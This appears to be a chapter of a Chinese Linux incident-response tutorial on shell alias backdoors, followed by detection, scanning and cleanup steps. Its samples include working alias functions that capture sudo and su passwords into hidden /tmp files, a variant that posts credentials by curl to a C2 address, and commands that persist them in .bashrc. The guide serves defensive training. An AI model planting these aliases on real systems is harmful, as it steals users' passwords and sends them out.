Linux应急响应 - 23 Alias后门

Alias 后门 — 通过 Shell 别名劫持命令

利用 bash alias 机制劫持常用命令(sudo, ssh, su),在执行原始命令前/后插入恶意操作

关联:18-Bashrc与Profile后门 | 04-账户安全排查

Alias 后门原理

Shell Alias 机制

alias 是 bash 内置功能,用于为命令创建快捷方式

alias 优先级高于外部命令(sudo 先匹配 alias,再找 /usr/bin/sudo

1
2
3
4
5
6
7
8
9
10
11
# 正常用法
alias ll='ls -la'
alias grep='grep --color=auto'

# 查看所有别名
alias -p

# 查看特定命令是否被别名覆盖
type sudo
type ssh
type su

为什么 Alias 后门有效

用户习惯性输入 sudo,不会意识到已被劫持

别名执行后仍然调用原始命令,用户体验无异常

写入 .bashrc 即可持久化

常见 Alias 后门类型

类型1:sudo 密码窃取

劫持 sudo,在用户输入密码时记录

1
2
3
4
5
6
7
# 攻击者在 .bashrc 中添加
alias sudo='function _sudo(){
read -sp "[sudo] password for $(whoami): " passwd
echo ""
echo "$passwd" >> /tmp/.sudo_log
echo "$passwd" | /usr/bin/sudo -S "$@"
}; _sudo'

用户输入 sudo apt update 时:

  1. 显示正常的密码提示
  2. 密码被记录到 /tmp/.sudo_log
  3. 用记录的密码执行真正的 sudo
  4. 用户毫无察觉

类型2:ssh 凭据窃取

1
2
3
4
5
6
alias ssh='function _ssh(){
# 记录 SSH 连接信息
echo "$(date) ssh $@" >> /tmp/.ssh_log
# 调用真正的 ssh
/usr/bin/ssh "$@"
}; _ssh'

类型3:su 密码窃取

1
2
3
4
5
6
alias su='function _su(){
read -sp "Password: " passwd
echo ""
echo "$(date) su passwd=$passwd" >> /tmp/.su_log
echo "$passwd" | /usr/bin/su "$@"
}; _su'

类型4:外发型(通过网络发送凭据)

1
2
3
4
5
6
7
alias sudo='function _sudo(){
read -sp "[sudo] password for $(whoami): " passwd
echo ""
# 通过 curl 将密码外发到 C2
curl -s -X POST -d "host=$(hostname)&user=$(whoami)&pass=$passwd" http://10.10.14.33:8080/creds &>/dev/null &
echo "$passwd" | /usr/bin/sudo -S "$@"
}; _sudo'

类型5:命令记录型

1
2
3
# 记录用户执行的所有命令
alias sudo='/usr/bin/sudo'
export PROMPT_COMMAND='echo "$(date "+%Y-%m-%d %H:%M:%S") $(whoami) $(history 1)" >> /tmp/.cmd_log'

持久化位置

alias 后门通常写入以下文件实现持久化

文件 作用域 触发条件
~/.bashrc 当前用户 每次打开终端
~/.bash_aliases 当前用户 被 .bashrc 自动 source
~/.bash_profile 当前用户 登录时
/etc/bash.bashrc 所有用户 每次打开终端
/etc/profile.d/*.sh 所有用户 登录时
1
2
3
4
# 攻击者常用操作
echo 'alias sudo="..."' >> ~/.bashrc
# 或更隐蔽的方式:写入单独的文件
echo 'alias sudo="..."' > ~/.bash_aliases

检测方法

快速检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 1. 检查所有 alias(当前 shell)
alias -p

# 2. 检查 sudo/ssh/su 是否被劫持
type sudo # 应该显示 "sudo is /usr/bin/sudo" 而不是 alias
type ssh
type su
type wget
type curl

# 3. 使用 which 和 command 验证
which sudo # 显示路径
command -V sudo # 显示类型

# 4. 绕过 alias 直接执行
\sudo ls # 反斜杠绕过 alias
/usr/bin/sudo ls # 使用绝对路径
command sudo ls # 使用 command 内置命令

全面扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 搜索所有 profile 文件中的 alias 定义
grep -rn "^alias \|alias sudo\|alias ssh\|alias su\|alias wget\|alias curl" \
/root/.bashrc /root/.bash_aliases /root/.bash_profile /root/.profile \
/home/*/.bashrc /home/*/.bash_aliases /home/*/.bash_profile \
/etc/bash.bashrc /etc/profile /etc/profile.d/ \
2>/dev/null

# 搜索 function 定义(alias 可以包装 function)
grep -rn "function _sudo\|function _ssh\|function _su" \
/root/.bashrc /home/*/.bashrc /etc/bash.bashrc /etc/profile.d/ \
2>/dev/null

# 检查 PROMPT_COMMAND
echo $PROMPT_COMMAND
grep -rn "PROMPT_COMMAND" /root/.bashrc /home/*/.bashrc /etc/bash.bashrc 2>/dev/null

对比基线

1
2
3
4
5
# 生成当前 alias 列表
alias -p > /tmp/current_aliases.txt

# 与系统默认对比(新装系统通常只有 ls/grep 等基本 alias)
# 关注:sudo, ssh, su, wget, curl, python 等被别名覆盖

清除方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 1. 移除当前 shell 中的恶意 alias
unalias sudo
unalias ssh
unalias su

# 2. 清除持久化文件中的恶意 alias
vim ~/.bashrc # 删除恶意行
vim ~/.bash_aliases

# 3. 重新加载
source ~/.bashrc

# 4. 验证
type sudo # 应该显示 /usr/bin/sudo

实战练习

配套实验:labs/17-persistence-misc/(包含 Alias、Vim Modeline、inetd 三种后门)

排查目标

  1. 发现被劫持的命令

  2. 找到 alias 后门的持久化位置

  3. 找到被窃取的凭据文件

  4. 清除后门并验证


上一章 目录 下一章
22-SUID后门 Linux应急响应 24-Vim-Modeline后门